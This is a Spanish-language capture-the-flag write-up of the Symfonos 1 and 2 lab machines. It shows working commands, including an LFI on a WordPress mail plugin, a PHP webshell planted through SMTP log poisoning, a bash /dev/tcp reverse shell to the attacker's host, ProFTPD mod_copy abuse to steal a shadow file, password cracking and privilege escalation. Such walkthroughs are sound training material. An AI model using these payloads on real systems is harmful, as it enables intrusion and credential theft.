- 📆 Publicado el
Symfonos 1 y 2 - Write Up
- Autor
- Name
- Iker Ocio Zuazo
- X
- @0x10z
Máquinas easy y medium, donde aprovechamos la técnica del pivoting para saltar entre ellas y llegar a la prueba final. Enumeramos mucho, nos aprovechamos de smbmap, un plugin de mail de Wordpress, Log Poisoning, Path Hijacking, vulnerabilidad de FTP, BruteForce del archivo shadow, LibreNMS vulnerable y posibilidad de ejecutar MySQL como sudo.
Symfonos 1
Primeros pasos
En este caso, desconocemos la IP de la máquina. Lo primero que vamos a hacer es recoger los host visibles desde mi equipo cacheados en la tabla ARP. Una alternativa sería utilizar ArpScan.
cat /proc/net/arp
# IP address HW type Flags HW address Mask Device
# 192.168.1.140 0x1 0x2 08:00:27:5a:60:b1 * enp0s3
# 192.168.1.137 0x1 0x0 00:00:00:00:00:00 * enp0s3
La IP 192.168.1.140 es nuestro objetivo ahora.
Con un ping, obtenemos el TTL para saber si se refiere a una máquina Linux o una Windows.
ping -c 1 192.168.1.140 -R
# PING 192.168.1.140 (192.168.1.140) 56(124) bytes of data.
# 64 bytes from 192.168.1.140: icmp_seq=1 ttl=64 time=0.420 ms
# RR: 192.168.1.138
# 192.168.1.140
# 192.168.1.140
# 192.168.1.138
⚠️TTL~64 - Linux
Reconocimiento
Mediante nmap escaneamos los puertos abiertos.
nmap -p- -sS -vvv --open -n -Pn --min-rate 5000 192.168.1.140 -oG allPorts
# Open ports: 22,25,80,139,445
Afinamos la búsqueda una vez conocidos los puertos abiertos.
nmap -p22,25,80,139,445 -sCV 192.168.1.140 -oN targeted
Y vemos el archivo targeted para mirar un poco el resultado.
# Nmap 7.92 scan initiated Sat Jan 14 11:57:45 2023 as: nmap -p22,25,80,139,445 -sCV -oN targeted 192.168.1.140
Nmap scan report for symfonos.local (192.168.1.140)
Host is up (0.00047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
...
25/tcp open smtp Postfix smtpd
...
80/tcp open http Apache httpd 2.4.25 ((Debian))
...
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:5A:60:B1 (Oracle VirtualBox virtual NIC)
...
He omitido el output para quedarme con lo interesante. Servicios de ssh, smtp, http y smb expuestos.
Mediante smbmap, intentamos obtener acceso a los recursos compartidos a ver si está todo bien configurado.
smbmap -H 192.168.1.140
# [+] Guest session IP: 192.168.1.140:445 Name: symfonos.local
# Disk Permissions Comment
# ---- ----------- -------
# print$ NO ACCESS Printer Drivers
# helios NO ACCESS Helios personal share
# anonymous READ ONLY
# IPC$ NO ACCESS IPC Service
smbmap -H 192.168.1.140 -r anonymous
# [+] Guest session IP: 192.168.1.140:445 Name: symfonos.local
# anonymous READ ONLY
# .\anonymous\*
# dr--r--r-- 0 Sat Jun 29 03:14:49 2019 .
# dr--r--r-- 0 Sat Jun 29 03:12:15 2019 ..
# fr--r--r-- 154 Sat Jun 29 03:14:49 2019 attention.txt
smbmap -H 192.168.1.140 --download anonymous/attention.txt
# [+] Starting download: anonymous\attention.txt (154 bytes)
# [+] File output to: /home/iocio/Desktop/VulnHub/Symfonos1/content/192.168.1.140-anonymous_attention.txt
Si cateamos el archivo de texto obtenemos lo siguiente.
Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus
Cosas interesantes hasta aquí, de atrás adelante.
- Las contraseñas 'epidioko', 'qwerty' y 'baseball' son contraseñas que debería tener en cuenta para continuar con el reto.
- Por otro lado, hay un recurso compartido llamado 'helios' - 'Helios personal', que me puede hacer pensar que hay un usuario llamado helios.
Vamos a intentar loguearnos a smb con el usuario 'helios' y cualquiera de esas 3 contraseñas.
smbmap -H 192.168.1.140 -u helios -p qwerty
# [+] IP: 192.168.1.140:445 Name: symfonos.local
# Disk Permissions Comment
# ---- ----------- -------
# print$ READ ONLY Printer Drivers
# helios READ ONLY Helios personal # anonymous READ ONLY
# IPC$ NO ACCESS IPC Service
Tirando del hilo como anteriormente, he encontrado dos archivos. Un research.txt y un todo.txt.
El texto de todo.txt es el siguiente.
1. Binge watch Dexter
2. Dance
3. Work on /h3l105
El tercer punto parece un directorio o una ruta. Si accedo por Firefox a la web expuesta y pongo esa ruta, vemos un servidor Wordpress. Coloco la siguiente entrada en /etc/hosts
para que los archivos estáticos se descarguen correctamente y poderlo visualizar correctamente.
192.168.1.140 symfonos.local
A partir de aquí podríamos utilizar WpScan, pero vamos a intentar enumerar posibles plugins que pueda tener instalados y buscar vulnerabilidades en ellos.
Con la salida de curl, concatenando varios greps y algunos delimitadores, obtenemos la siguiente entrada:
curl -X get 192.168.1.140/h3l105/ | grep 'wp-content' | grep -oP "'.*?'" | grep symfonos.local | cut -d '/' -f 1-7 | sort -u | grep plugins
# 'http://symfonos.local/h3l105/wp-content/plugins/mail-masta
# 'http://symfonos.local/h3l105/wp-content/plugins/site-editor
Hay un plugin de mails y otro bastante común para la edición del sitio. Recordamos que la máquina tiene expuesto el puerto de 25 SMTP. Vamos a ir por ese camino.
Buscamos vulnerabilidades en searchsploit.
searchsploit mail masta
# WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2) | php/webapps/50226.py
El plugin Mail Masta tiene una vulnerabilidad de tipo LFI.
Mirando el script, vemos que la vulnerabilidad se encuentra en una URL. Vamos a probarlo manualmente con curl.
curl -X GET "http://192.168.1.140/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# helios:x:1000:1000:,,,:/home/helios:/bin/bash
Podemos desarrollar un script para hacer más sencillas las consultas como [[lfi_read_file.sh]]
Un directorio interesante continuando con el tema de smtp, es /var/mail/
.
Con ayuda del script, vemos dicho archivo.
./lfi_read_file.sh -f /var/mail/helios
Log Poisoning de SMTP
El directorio /var/mail/helios está expuesto. Si fuésemos capaces de enviar un mail y colar código PHP en él, podríamos mediante el LFI transformarlo en un RCE fácilmente.
Vamos a conectarnos por telnet al puerto del mail y tratar de enviar algo.
telnet 192.168.1.140 25
# Connected to 192.168.1.140.
# Escape character is '^]'.
# 220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: 0x10
# 250 2.1.0 Ok
RCPT TO: helios
# 250 2.1.5 Ok
DATA
# 354 End data with .
php system($\_GET['cmd']) ?
.
# 250 2.0.0 Ok: queued as 9ACCB4083E
quit
De este modo, vamos a entablarnos una reverse shell.
# attacker
sudo nc -lvnp 443
listening on [any] 443 ...
# vulnerable machine
curl -vs -X GET "http://192.168.1.140/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=%2Fbin%2Fbash+-c+%22sh+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.138%2F443+0%3E%261%22"
# attacker
# sudo nc -lvnp 443
# listening on [any] 443 ...
connect to [192.168.1.138] from (UNKNOWN) [192.168.1.140] 54028
sh: 0: can't access tty; job control turned off
$ whoami
helios
Symfonos 1: Escalado
Buscamos archivos SUID que permitan ejecutar código con permisos root.
find \-perm -4000 2/dev/null
# ./usr/lib/eject/dmcrypt-get-device
# ./usr/lib/dbus-1.0/dbus-daemon-launch-helper
# ./usr/lib/openssh/ssh-keysign
# ./usr/bin/passwd
# ./usr/bin/gpasswd
# ./usr/bin/newgrp
# ./usr/bin/chsh
# ./usr/bin/chfn
# ./opt/statuscheck
# ./bin/mount
# ./bin/umount
# ./bin/bash
# ./bin/su
# ./bin/ping
Llama la atención el archivo /opt/statuscheck. Vamos a inspeccionarlo más
strings /opt/statuscheck
# ...
# _ITM_registerTMCloneTable
# GLIBC_2.2.5
# curl -I H
# http://lH
# ocalhostH
# AWAVA
# AUATL
# ...
Hace uso del comando curl de forma relativa. Vamos a aplicar Path Hijacking.
Path Hijacking
Creamos un archivo en la carpeta /tmp
llamado curl, hacemos que ejecute el siguiente comando para darle privilegios SUID a /bin/bash.
chmod u+s /bin/bash
Añadimos /tmp
dentro de la variable $PATH asignándole prioridad.
export PATH=/tmp:$PATH
Y ejecutamos el archivo statuscheck. Posteriormente, llamamos a /bin/bash con -p para lanzarlo con modo privilegiado.
sudo /opt/statuscheck
/bin/bash -p
whoami
# root
Vamos a enumerar las interfaces que tiene activas.
hostname -I
10.10.10.4 192.168.1.140
La interfaz 10.10.10.4 era desconocida hasta ahora. Vamos a mirar su tabla ARP.
cat /proc/net/arp
ash-4.4# cat /proc/net/arp
IP address HW type Flags HW address Mask Device
10.10.10.3 0x1 0x2 08:00:27:44:fe:76 * enp0s8
192.168.1.138 0x1 0x2 08:00:27:40:1b:d1 * enp0s17
192.168.1.1 0x1 0x2 b0:8b:92:fa:45:dc * enp0s17
192.168.1.136 0x1 0x2 68:b6:91:4e:42:0c * enp0s17
Ahí está el host 10.10.10.3 correspondiente a Symfonos 2. A partir de aquí podríamos enumerar los host y puertos con un script, pero vamos a continuar directamente con la máquina Symfonos 2.
Symfonos 2
El procedimiento a continuación es entablar una comunicación desde nuestro equipo atacante, a la red 10.10.10.0/24 pasando por la máquina Symfonos 1.
Entablamos la comunicación
Nos descargamos Chisel desde su Github con wget, y lo compartimos con Symfonos 1.
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
mv chisel_1.7.7_linux_amd64 chisel
python -m http.server 8080
Y lo compartimos con Symfonos 1.
wget 192.168.1.138:8080/chisel
Arrancamos chisel en modo servidor en nuestra máquina atacante.
chisel server --reverse -p 1234
Y desde Symfonos 1, entablamos la comunicación con Socks5.
chisel client 192.168.1.138:1234 R:socks
# When connection is stablished, chisel server output
# 2023/01/13 23:32:12 server: session#3: tun: proxy#R:127.0.0.1:1080=socks: Listening
Por último, en nuestra máquina atacante, debemos configurar Proxychains para que sea capaz de tunelizar las peticiones a través de Symfonos 1.
nano /etc/proxychains.conf
#[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1080 # this port depends on Chisel result
Enumeración de Symfonos 2
Ejecutamos nmap como al inicio, wrappeando la comunicación a través de Proxychains.
proxychains nmap --top-ports 50 -sT -vvv --open -n -Pn --min-rate 5000 10.10.10.3 -oG allPorts 2&1 | grep -vE "timeout|OK"
⚠️Recuerda que con Proxychains, no se puede utilizar la opción -sS porque entra en conflicto con el túnel. Hay que cambiar el parámetro a -sT para utilizar peticiones TCP normales.
Se concatenan además unos comandos de limpieza porque Proxychains imprime más contenido del deseado. Los puertos abiertos son los siguientes: 21, 22, 80, 139, 445.
Afinamos la búsqueda.
proxychains nmap -p21,22,80,139,445 --open -T5 -v -n -sTV -Pn 10.10.10.3 -oN targeted 2&1 | grep -vE "OK"
# PORT STATE SERVICE VERSION
# 21/tcp open ftp ProFTPD 1.3.5
# 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
# 80/tcp open http WebFS httpd 1.21
# 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Si nos comunicamos con Samba, vemos de nuevo que el acceso anónimo está permitido y nos encontramos un archivo log.txt que parece interesante.
proxychains smbmap -H 10.10.10.3 --download anonymous/backups/log.txt
Si lo examinamos, nos encontramos con lo siguiente (se han omitido cosas que no eran interesantes).
root@symfonos2:~# cat /etc/shadow /var/backups/shadow.bak
root@symfonos2:~# cat /etc/samba/smb.conf
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which
# are not shown in this example
...
[anonymous]
258 │ path = /home/aeolus/share
259 │ browseable = yes
260 │ read only = yes
261 │ guest ok = yes
...
User aeolus
Group aeolus
...
- Existe una copia del shadow en /var/backups/shadow.bak.
- Existe el usuario aeolus
- El path /home/aeolus/share es visible de forma anónima por samba. Probablemente, ese sea el directorio donde estamos encontrando el archivo, este que acabamos de leer.
A través de smb no se puede hacer nada más.
Continuamos por FTP en el puerto 21.
ProFTPD 1.3.5 exploit
Searchsploit nos arroja información sobre esta versión de ftp. Parece ser vulnerable
searchsploit proftp 1.3.5
# ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
searchsploit -x linux/remote/36742.txt
# Description TJ Saunders 2015-04-07 16:35:03 UTC
# Vadim Melihow reported a critical issue with proftpd installations that use the
# mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands to be used by *unauthenticated clients*:
Podemos copiar y pegar archivos de forma remota. Teniendo en cuenta que por SMB somos capaces de leer el directorio /home/aeolus/share, podemos aprovechar esto para copiar ahí el backup del archivo /etc/shadow.
proxychains ftp 10.10.10.3
Name (10.10.10.3:iocio):
# 331 Password required for iocio
Password:
# 530 Login incorrect.
# Login failed.
# Remote system type is UNIX.
# Using binary mode to transfer files.
ftp site CPFR /var/backups/shadow.bak
# 350 File or directory exists, ready for destination name
ftp site CPTO /home/aeolus/share/shadow
# 250 Copy successful
quit
Ya estamos listos para descargarnos el archivo con smb.
proxychains smbmap -H 10.10.10.3 --download anonymous/shadow
Vamos a probar con un poco de fuerza bruta, a ver si somos capaces de descifrar los hashes.
JohnTheRipper Shadow
john --wordlist=/usr/share/wordlists/rockyou.txt shadow
john --show shadow
# aeolus:sergioteamo:18095:0:99999:7:::
Parece que tenemos la contraseña del usuario aeolus
, sergioteamo
.
proxychains ssh aeolus@10.10.10.3
aeolus@symfonos2:~$ whoami
# aeolus
aeolus@symfonos2:~$ hostname -I
# 10.10.10.3
Estamos dentro de la máquina Symfonos 2.
Symfonos 2: Escalado
Con el comando ss
, buscamos conexiones de red expuestas.
ss -tulpn
# Netid State Recv-Q Send-Q Local Address:Port
# ...
# tcp LISTEN 0 128 127.0.0.1:8080
# ...
Parece ser que hay algo expuesto en el puerto 8080 del localhost de la máquina Symfonos 2.
Para poder acceder a ella, necesitamos redireccionar en nuestro equipo dicho puerto mediante un túnel SSH.
Con el siguiente comando vamos a ello.
proxychains ssh -L 8080:127.0.0.1:8080 aeolus@10.10.10.3
Una vez hecho esto, abrimos firefox y accedemos a http://localhost:8080.
Dado que tenemos las credenciales del usuario aeolus, vamos a ver si podemos reutilizarlas en esta ventana de login.
Una vez dentro, buscamos alguna vulnerabilidad en este CMS.
searchsploit librenms
# LibreNMS 1.46 - 'addhost' Remote Code Execution php/webapps/47044.py
El script genera un RCE por SNMP cuando crea un dispositivo. Con ayuda de él y poniéndonos en escucha desde Symfonos 1.
$ whoami
# cronus
Pero vamos a complicarlo un poco más. Vamos a entablar una reverse shell hacia mi máquina atacante. Para ello, haremos uso de Socat.
Desde Symfonos 1, ejecutamos el siguiente comando.
socat TCP-LISTEN:4646,fork TCP:192.168.1.138:4646
De esta manera, lo que haremos desde Symfonos 1, es que todo el tráfico que le llegue por el puerto 4646, lo redirigirá automáticamente al host 192.168.1.138, que es el de mi máquina atacante.
nc -lvnp 4646
# listening on [any] 4646 ...
# connect to [192.168.1.138] from (UNKNOWN) [192.168.1.140] 54208
# /bin/sh: 0: can't access tty; job control turned off
$ whoami
cronus
Adecuamos la TTY con un tratamiento para poder utilizar el Ctrl+C, Ctrl+L y las flechas durante la sesión de la shell.
Aún queda ganar privilegios de root. Buscamos si tenemos permisos en la configuración de sudoers.
sudo -l
# Matching Defaults entries for cronus on symfonos2:
# env_reset, mail_badpass,
# secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
# User cronus may run the following commands on symfonos2:
# (root) NOPASSWD: /usr/bin/mysql
Cuando encontramos este tipo de permisos, conviene visitar https://gtfobins.github.io/ a ver si, de alguna manera, podemos acceder a la consola de root directamente.
En este caso, con el siguiente comando ejecutándolo como sudo, parece suficiente.
sudo mysql -e '\! /bin/sh'
cronus@symfonos2:/$ sudo mysql -e '\! /bin/sh'
whoami
# root
cat /root/proof.txt
Congrats on rooting symfonos:2!
, ,
,-`{-`/
,-~ , \ {-~~-,
,~ , ,`,-~~-,`,
,` , { { } } }/
; ,--/`\ \ / / }/ /,/
; ,-./ \ \ { { ( /,; ,/ ,/
; / ` } } `, `-`-.___ / `, ,/ `,/
\| ,`,` `~.___,---} / ,`,,/ ,`,;
` { { __ / ,`/ ,`,;
/ \ \ _,`, `{ `,{ `,`;`
{ } } /~\ .-:::-. (--, ;\ `,} `,`;
\\._./ / /` , \ ,:::::::::, `~; \},/ `,`; ,-=-
`-..-` /. ` .\_ ;:::::::::::; __,{ `/ `,`; {
/ , ~ . ^ `~`\:::::::::::~-,,`, `-, ``,_ }
/~~ . ` . ~ , .`~~\:::::::; _-~ ;__, `,-`
/`\ /~, . ~ , ' ` , .` \::::;` ~``` ``-,,__ ;
/` .`\ /` . ^ , ~ , . ` . ~\~ \\, `,__
/ ` , ,`\. ` ~ , ^ , ` ~ . . ``~~~`, `-`--, \
/ , ~ . ~ \ , ` . ^ ` , . ^ . , ` .`-,___,---,__ ``
/` ` . ~ . ` `\ ` ~ , . , ` , . ~ ^ , . ~ , .`~---,___
/` . ` , . ~ , \ ` ~ , . ^ , ~ . ` , ~ . ^ , ~ . `-,
Contact me via Twitter @zayotic to give feedback!